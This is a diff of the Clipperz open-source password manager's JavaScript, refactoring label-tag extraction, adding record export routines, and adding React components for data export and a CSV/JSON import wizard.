			||||||
 | 
					
 | 
				
			||||||
	//............................................................................
 | 
						//............................................................................
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	'label': function () {
 | 
						'label': function () {
 | 
				
			||||||
		return Clipperz.Async.callbacks("Record.label", [
 | 
							return Clipperz.Async.callbacks("Record.label", [
 | 
				
			||||||
			MochiKit.Base.method(this, 'fullLabel'),
 | 
								MochiKit.Base.method(this, 'fullLabel'),
 | 
				
			||||||
			MochiKit.Base.method(this, 'filterOutTags')
 | 
								MochiKit.Base.method(this, 'extractLabelFromFullLabel')
 | 
				
			||||||
		], {trace:false});
 | 
							], {trace:false});
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -193,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	//.........................................................................
 | 
						//.........................................................................
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	'extractTagsFromFullLabel': function (aLabel) {
 | 
					 | 
				
			||||||
		var	tagRegEx;
 | 
					 | 
				
			||||||
		var	result;
 | 
					 | 
				
			||||||
		var	match;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		result = {};
 | 
					 | 
				
			||||||
		tagRegEx = this.tagRegExp();
 | 
					 | 
				
			||||||
		match = tagRegEx.exec(aLabel);
 | 
					 | 
				
			||||||
		while (match != null) {
 | 
					 | 
				
			||||||
			result[match[1]] = true;
 | 
					 | 
				
			||||||
			match = tagRegEx.exec(aLabel);
 | 
					 | 
				
			||||||
		}		
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		return result;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	'tags': function () {
 | 
						'tags': function () {
 | 
				
			||||||
		return Clipperz.Async.callbacks("Record.label", [
 | 
							return Clipperz.Async.callbacks("Record.label", [
 | 
				
			||||||
			MochiKit.Base.method(this, 'fullLabel'),
 | 
								MochiKit.Base.method(this, 'fullLabel'),
 | 
				
			||||||
@@ -1163,6 +1149,64 @@ console.log("Record.hasPendingChanges RESULT", result);
 | 
				
			|||||||
		], {trace:false});
 | 
							], {trace:false});
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'exportDirectLogins': function() {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							var directLoginsObject = this.directLogins();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (MochiKit.Base.keys(directLoginsObject).length == 0) {
 | 
				
			||||||
 | 
								result = {};
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) {
 | 
				
			||||||
 | 
									previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' );
 | 
				
			||||||
 | 
									return previous;
 | 
				
			||||||
 | 
								}, {});
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})();
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'export': function() {
 | 
				
			||||||
 | 
							var deferredResult;
 | 
				
			||||||
 | 
							var label;
 | 
				
			||||||
 | 
							var data;
 | 
				
			||||||
 | 
							var currentVersion;
 | 
				
			||||||
 | 
							var directLogins;
 | 
				
			||||||
 | 
							var currentVersionObject;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							data = {};
 | 
				
			||||||
 | 
							currentVersion = {};
 | 
				
			||||||
 | 
							directLogins = {};
 | 
				
			||||||
 | 
							deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false});
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, 'getCurrentRecordVersion');
 | 
				
			||||||
 | 
							deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; })
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, 'fullLabel');
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, function(labelIn) {label = labelIn});
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, 'exportDirectLogins');
 | 
				
			||||||
 | 
							deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; });
 | 
				
			||||||
 | 
							deferredResult.addCallback(function() { return currentVersionObject.getKey(); }),
 | 
				
			||||||
 | 
					//		deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; });
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, 'notes');
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; });
 | 
				
			||||||
 | 
					//		deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); });
 | 
				
			||||||
 | 
							deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }),
 | 
				
			||||||
 | 
							deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; });
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, function() {
 | 
				
			||||||
 | 
								return {
 | 
				
			||||||
 | 
									'label': label,
 | 
				
			||||||
 | 
									'data': data,
 | 
				
			||||||
 | 
									'currentVersion': currentVersion
 | 
				
			||||||
 | 
								};
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							deferredResult.callback();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return deferredResult;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	//=========================================================================
 | 
						//=========================================================================
 | 
				
			||||||
	__syntaxFix__: "syntax fix"
 | 
						__syntaxFix__: "syntax fix"
 | 
				
			||||||
});
 | 
					});
 | 
				
			||||||
@@ -1203,20 +1247,33 @@ Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) {
 | 
				
			|||||||
	return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
 | 
						return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
 | 
				
			||||||
};
 | 
					};
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.DataModel.Record.tagRegExp = function () {
 | 
					 | 
				
			||||||
	return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
 | 
					 | 
				
			||||||
};
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.DataModel.Record.trimSpacesRegExp = function () {
 | 
					 | 
				
			||||||
	return new RegExp('^\\s+|\\s+$', 'g');
 | 
					 | 
				
			||||||
};
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.DataModel.Record.filterOutTags = function (aValue) {
 | 
					Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
 | 
				
			||||||
 | 
					Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) {
 | 
				
			||||||
	var value;
 | 
						var value;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	value = aValue;
 | 
						value = aValue;
 | 
				
			||||||
	value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp(), '');
 | 
						value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, '');
 | 
				
			||||||
	value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp(), '');
 | 
						value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, '');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	return value;
 | 
						return value;
 | 
				
			||||||
};
 | 
					};
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) {
 | 
				
			||||||
 | 
						var	tagRegEx;
 | 
				
			||||||
 | 
						var	result;
 | 
				
			||||||
 | 
						var	match;
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						result = {};
 | 
				
			||||||
 | 
						tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp;
 | 
				
			||||||
 | 
						match = tagRegEx.exec(aLabel);
 | 
				
			||||||
 | 
						while (match != null) {
 | 
				
			||||||
 | 
							result[match[1]] = true;
 | 
				
			||||||
 | 
							match = tagRegEx.exec(aLabel);
 | 
				
			||||||
 | 
						}		
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						return result;
 | 
				
			||||||
 | 
					};
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -244,11 +244,7 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.User, Object, {
 | 
				
			|||||||
		return deferredResult;
 | 
							return deferredResult;
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	// TODO: test (taken straight from /beta)
 | 
					 | 
				
			||||||
	'deleteAccount': function() {
 | 
						'deleteAccount': function() {
 | 
				
			||||||
		
 | 
					 | 
				
			||||||
console.log("deleting account from user");
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var deferredResult;
 | 
							var deferredResult;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		deferredResult = new MochiKit.Async.Deferred("User.deleteAccount", {trace: true});
 | 
							deferredResult = new MochiKit.Async.Deferred("User.deleteAccount", {trace: true});
 | 
				
			||||||
@@ -257,15 +253,9 @@ console.log("deleting account from user");
 | 
				
			|||||||
		deferredResult.callback();
 | 
							deferredResult.callback();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		return deferredResult;
 | 
							return deferredResult;
 | 
				
			||||||
		
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	// TODO: check (I have half of an idea what i'm doing)
 | 
					 | 
				
			||||||
	'resetAllLocalData': function() {
 | 
						'resetAllLocalData': function() {
 | 
				
			||||||
		
 | 
					 | 
				
			||||||
console.log("resetting all local data...");	
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var deferredResult;
 | 
							var deferredResult;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		deferredResult = new MochiKit.Async.Deferred("User.resetAllLocalData", {trace: true});
 | 
							deferredResult = new MochiKit.Async.Deferred("User.resetAllLocalData", {trace: true});
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -0,0 +1,110 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Copyright 2008-2015 Clipperz Srl
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This file is part of Clipperz, the online password manager.
 | 
				
			||||||
 | 
					For further information about its features and functionalities please
 | 
				
			||||||
 | 
					refer to http://www.clipperz.com.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is free software: you can redistribute it and/or modify it
 | 
				
			||||||
 | 
					  under the terms of the GNU Affero General Public License as published
 | 
				
			||||||
 | 
					  by the Free Software Foundation, either version 3 of the License, or 
 | 
				
			||||||
 | 
					  (at your option) any later version.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is distributed in the hope that it will be useful, but 
 | 
				
			||||||
 | 
					  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
				
			||||||
 | 
					  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
				
			||||||
 | 
					  See the GNU Affero General Public License for more details.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* You should have received a copy of the GNU Affero General Public
 | 
				
			||||||
 | 
					  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"use strict";
 | 
				
			||||||
 | 
					Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						propTypes: {
 | 
				
			||||||
 | 
					//		featureSet:			React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
 | 
				
			||||||
 | 
					//		'level':	React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					/*	
 | 
				
			||||||
 | 
						jsonExport: function () {
 | 
				
			||||||
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json');
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						htmlExport: function () {
 | 
				
			||||||
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html');
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isFeatureEnabled: function (aValue) {
 | 
				
			||||||
 | 
							return (this.props['features'].indexOf(aValue) > -1);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleDownloadOfflineCopyLink: function (anEvent) {
 | 
				
			||||||
 | 
							if (this.isFeatureEnabled('OFFLINE_COPY')) {
 | 
				
			||||||
 | 
								MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy');
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleExportLink: function () {
 | 
				
			||||||
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport');
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						render: function () {
 | 
				
			||||||
 | 
							return	React.DOM.div({className:'extraFeature devicePIN'}, [
 | 
				
			||||||
 | 
								React.DOM.h1({}, "Export"),
 | 
				
			||||||
 | 
								React.DOM.div({'className': 'content'}, [
 | 
				
			||||||
 | 
									React.DOM.ul({}, [
 | 
				
			||||||
 | 
										React.DOM.li({}, [
 | 
				
			||||||
 | 
											React.DOM.h3({}, "Offline copy"),
 | 
				
			||||||
 | 
											React.DOM.div({'className':'description'}, [
 | 
				
			||||||
 | 
												React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.")
 | 
				
			||||||
 | 
											]),
 | 
				
			||||||
 | 
											React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy")
 | 
				
			||||||
 | 
										]),
 | 
				
			||||||
 | 
										React.DOM.li({}, [
 | 
				
			||||||
 | 
											React.DOM.h3({}, "HTML + JSON"),
 | 
				
			||||||
 | 
											React.DOM.div({'className':'description'}, [
 | 
				
			||||||
 | 
												React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "This same file also contains all your data in JSON format."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.")
 | 
				
			||||||
 | 
											]),
 | 
				
			||||||
 | 
											React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON")
 | 
				
			||||||
 | 
										]),
 | 
				
			||||||
 | 
					/*
 | 
				
			||||||
 | 
										React.DOM.li({}, [
 | 
				
			||||||
 | 
											React.DOM.h3({}, "Printing"),
 | 
				
			||||||
 | 
											React.DOM.div({'className':'description'}, [
 | 
				
			||||||
 | 
												React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.")
 | 
				
			||||||
 | 
											]),
 | 
				
			||||||
 | 
											React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML")
 | 
				
			||||||
 | 
										]),
 | 
				
			||||||
 | 
										React.DOM.li({}, [
 | 
				
			||||||
 | 
											React.DOM.h3({}, "Exporting to JSON"),
 | 
				
			||||||
 | 
											React.DOM.div({'className':'description'}, [
 | 
				
			||||||
 | 
												React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "This custom format it’s quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."),
 | 
				
			||||||
 | 
												React.DOM.p({}, "Click on the button below to start the export process.")
 | 
				
			||||||
 | 
											]),
 | 
				
			||||||
 | 
											React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"),
 | 
				
			||||||
 | 
										])
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
									])
 | 
				
			||||||
 | 
								])
 | 
				
			||||||
 | 
							]);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					});
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass);
 | 
				
			||||||
@@ -0,0 +1,172 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Copyright 2008-2015 Clipperz Srl
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This file is part of Clipperz, the online password manager.
 | 
				
			||||||
 | 
					For further information about its features and functionalities please
 | 
				
			||||||
 | 
					refer to http://www.clipperz.com.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is free software: you can redistribute it and/or modify it
 | 
				
			||||||
 | 
					  under the terms of the GNU Affero General Public License as published
 | 
				
			||||||
 | 
					  by the Free Software Foundation, either version 3 of the License, or 
 | 
				
			||||||
 | 
					  (at your option) any later version.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is distributed in the hope that it will be useful, but 
 | 
				
			||||||
 | 
					  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
				
			||||||
 | 
					  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
				
			||||||
 | 
					  See the GNU Affero General Public License for more details.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* You should have received a copy of the GNU Affero General Public
 | 
				
			||||||
 | 
					  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"use strict";
 | 
				
			||||||
 | 
					Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					var _steps = ['Input', 'CsvColumns', 'CsvLabels', 'CsvTitles', 'CsvNotes', 'CsvHidden', 'Preview'];
 | 
				
			||||||
 | 
					var _stepNames = ['Input', 'Columns', 'Labels', 'Titles', 'Notes','Hidden','Preview'];
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
 | 
				
			||||||
 | 
						_steps: _steps,
 | 
				
			||||||
 | 
						_stepNames: _stepNames,
 | 
				
			||||||
 | 
						_relevantSteps: {
 | 
				
			||||||
 | 
							'csv': _steps,
 | 
				
			||||||
 | 
							'json': [_steps[0], _steps[6]]
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						getInitialState: function() {
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								'currentStep': this._steps[0],
 | 
				
			||||||
 | 
								'importContext': new Clipperz.PM.UI.ImportContext(),
 | 
				
			||||||
 | 
								'nextStepCallback': null,
 | 
				
			||||||
 | 
								'error': null
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getStepIndex: function(aStep) {
 | 
				
			||||||
 | 
							return this._steps.indexOf(aStep);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						getStepAfter: function() {
 | 
				
			||||||
 | 
							return this._steps[this.getStepIndex(this.state.currentStep) + 1];
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getStepBefore: function() {
 | 
				
			||||||
 | 
							return this._steps[this.getStepIndex(this.state.currentStep) - 1];
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						isStepRelevant: function(aStep, aFormat) {
 | 
				
			||||||
 | 
							if (!aFormat) {
 | 
				
			||||||
 | 
								return true
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								return (this._relevantSteps[aFormat].indexOf(aStep) >= 0);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//--------------------------------------------------------------------------
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						goToStep: function(aStep) {
 | 
				
			||||||
 | 
							this.setState({
 | 
				
			||||||
 | 
								'currentStep': aStep,
 | 
				
			||||||
 | 
								'nextStepCallback': null,
 | 
				
			||||||
 | 
								'error': null
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						handleNextStepOnClick: function() {
 | 
				
			||||||
 | 
							if (this.state.nextStepCallback) {
 | 
				
			||||||
 | 
								var newImportContext = this.state.nextStepCallback();
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								if (newImportContext) {
 | 
				
			||||||
 | 
									MochiKit.Base.update(this.state.importContext, newImportContext);
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									if (this.state.currentStep == 'Input' && this.state.importContext.format == 'json') {
 | 
				
			||||||
 | 
										this.goToStep('Preview');
 | 
				
			||||||
 | 
									} else if (this.state.currentStep == 'Preview') {
 | 
				
			||||||
 | 
										this.state.importContext.resetContext();
 | 
				
			||||||
 | 
										this.goToStep('Input');
 | 
				
			||||||
 | 
									} else {
 | 
				
			||||||
 | 
										this.goToStep(this.getStepAfter());
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									if (this.state.currentStep == "Input") {
 | 
				
			||||||
 | 
										this.setState({'error': "unrecognized input format."});
 | 
				
			||||||
 | 
									} else {
 | 
				
			||||||
 | 
										this.setState({'error': "unknown error."});
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						handleBackOnClick: function() {
 | 
				
			||||||
 | 
							if (this.state.importContext.format == 'json' && this.state.currentStep == 'Preview') {
 | 
				
			||||||
 | 
								delete this.state.importContext.format;
 | 
				
			||||||
 | 
								this.goToStep('Input');
 | 
				
			||||||
 | 
							} else if (this.state.currentStep != this._steps[0]) {
 | 
				
			||||||
 | 
								this.goToStep(this.getStepBefore());
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						setNextStepCallback: function(aFunction) {
 | 
				
			||||||
 | 
							this.setState({'nextStepCallback': aFunction});
 | 
				
			||||||
 | 
						},	
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						getStepNavbarClass: function(aStep) {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (aStep == this.state.currentStep) {
 | 
				
			||||||
 | 
								result = 'active';
 | 
				
			||||||
 | 
							} else if (this.state.importContext.format == 'json' && (aStep>=1&&aStep<=5) ) {
 | 
				
			||||||
 | 
								result = 'disabled';
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								result = 'inactive';
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						render: function () {
 | 
				
			||||||
 | 
							return	React.DOM.div({className:'extraFeature dataImport'}, [
 | 
				
			||||||
 | 
								React.DOM.h1({}, "Import"),
 | 
				
			||||||
 | 
								React.DOM.div({'className': 'content'}, [
 | 
				
			||||||
 | 
									React.DOM.ul({'className': 'stepNavbar'},
 | 
				
			||||||
 | 
										MochiKit.Base.map(MochiKit.Base.bind(function(aStep){
 | 
				
			||||||
 | 
											var className;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											if (this.isStepRelevant(aStep,this.state.importContext.format)) {
 | 
				
			||||||
 | 
												className = (aStep == this.state.currentStep) ? 'active' : 'inactive';
 | 
				
			||||||
 | 
											} else {
 | 
				
			||||||
 | 
												className = 'disabled';
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											return React.DOM.li({
 | 
				
			||||||
 | 
												'className': className
 | 
				
			||||||
 | 
											}, this._stepNames[this.getStepIndex(aStep)]);
 | 
				
			||||||
 | 
										}, this),this._steps)
 | 
				
			||||||
 | 
									),
 | 
				
			||||||
 | 
									new Clipperz.PM.UI.Components.ExtraFeatures.DataImport[this.state.currentStep]({
 | 
				
			||||||
 | 
										'importContext': this.state.importContext,
 | 
				
			||||||
 | 
										'setNextStepCallback': this.setNextStepCallback,
 | 
				
			||||||
 | 
									}),
 | 
				
			||||||
 | 
									React.DOM.a({
 | 
				
			||||||
 | 
										'className': 'button'+((this.state.currentStep == this._steps[0]) ? ' disabled' : ''),
 | 
				
			||||||
 | 
										'onClick': this.handleBackOnClick,
 | 
				
			||||||
 | 
									}, "Back"),
 | 
				
			||||||
 | 
									React.DOM.a({
 | 
				
			||||||
 | 
										'className': 'button'+((! this.state.nextStepCallback) ? ' disabled' : ''),
 | 
				
			||||||
 | 
										'onClick': this.handleNextStepOnClick,
 | 
				
			||||||
 | 
									}, "Next"),
 | 
				
			||||||
 | 
									(this.state.error) ? React.DOM.p({'className': 'error'}, "Error: " + this.state.error) : null
 | 
				
			||||||
 | 
								])
 | 
				
			||||||
 | 
							]);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					});
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);
 | 
				
			||||||
@@ -26,26 +26,44 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
 | 
						getInitialState: function() {
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								'selectedColumns': this.props.importContext.selectedColumns
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						componentDidMount() {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback(this.handleNextStep);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleNextStep: function() {
 | 
				
			||||||
 | 
							return this.state;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	toggleColumn: function(columnN) {
 | 
						toggleColumn: function(columnN) {
 | 
				
			||||||
		var newState;
 | 
							var newSelectedColumns;
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		newState = {'importData': this.props.importState.importData};
 | 
							newSelectedColumns = this.state.selectedColumns;
 | 
				
			||||||
		newState.importData.selectedColumns[columnN] = ! newState.importData.selectedColumns[columnN];
 | 
							newSelectedColumns[columnN] = ! newSelectedColumns[columnN];
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		this.props.setImportStateCallback(newState);
 | 
							this.setState({'selectedColumns': newSelectedColumns});
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	render: function() {
 | 
						render: function() {
 | 
				
